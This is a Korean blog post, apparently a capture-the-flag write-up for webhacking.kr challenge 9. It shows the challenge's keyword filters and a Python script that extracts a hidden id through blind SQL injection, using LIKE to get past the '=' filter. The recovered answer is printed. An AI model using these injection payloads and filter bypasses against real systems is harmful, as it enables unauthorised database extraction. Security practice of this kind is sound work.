WEB/webhacking.kr (old)

webhacking.kr 9번

hongjw 2022. 3. 31. 01:14

오랜만에 문제풀이 ..ㅎ..ㅎ.ㅎㅎ

 

challenge 9번 첫화면

1,2,3을 눌러보면 아래 그림처럼 출력되는 것을 볼 수 있다.

여기서 알 수 있는 것은

no=1 id=Apple
no=2 id=Banana
no=3 id=(password) 이고,

우리는 no=3의 id를 찾아야 한다.

 

이것저것 입력해 본 결과, 아래와 같은 문자열 입력 시 Access Denied를 출력한다.

-> union, select, procedure anaylses(), =, and, or ...

(추후 문제 풀다가 알게 된 건 bin, ord 도 필터링되어 있음)

 

또한, no=4 처럼 테이블에 존재하지 않는 값을 입력하면 아무것도 출력하지 않는다.

이를 이용해 우리는 blind sql을 시도할 수 있다.

 

if문을 이용해 먼저 id 길이를 확인한 후, id 값을 알아냈다.

다음은 blind sql 코드이다.

#-*- encoding: utf-8 -*-
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url 	= "https://webhacking.kr/challenge/web-09/?no="
headers 	= { "Cookie" : "세션 값" }

# GET length of id = 11
for i in range(30):
	payload	= "if(length(id)like({}),3,4)".format(i)
	res 	= requests.get(url=url+payload, headers=headers, verify=False)

	if "Secret" in res.text:
		idlen = i
		break
	else:
		pass

print(i) #11

# GET id
idLen = 11
bitLen = 8
id3 = ""

for i in range(1, idLen+1):
	for j in range(97,123):
		h = hex(j)
		payload	= "if(substr(id,{},1)like({}),3,4)".format(i,h)
		res 	= requests.get(url=url+payload, headers=headers, verify=False)

		if "Secret" in res.text:
			id3 += chr(j)
			break
		else:
			pass

	print("[ ] Found word : ", id3)

print("[+] Found id : ", id3) # alsrkswhaql​

+) '=' 가 필터링되어 있는 것을 우회하기 위해 like를 사용

 

앞서 구한 id 값(alsrkswhaql)을 Password에 입력하여 제출하면, 문제가 풀린다!

'WEB > webhacking.kr (old)' 카테고리의 다른 글

webhacking.kr 13번  (0) 2022.04.03
webhacking.kr 29번  (0) 2020.04.12
webhacking.kr 35번  (0) 2020.04.12
webhacking.kr 60번  (0) 2020.04.11
webhacking.kr 53번  (0) 2020.04.10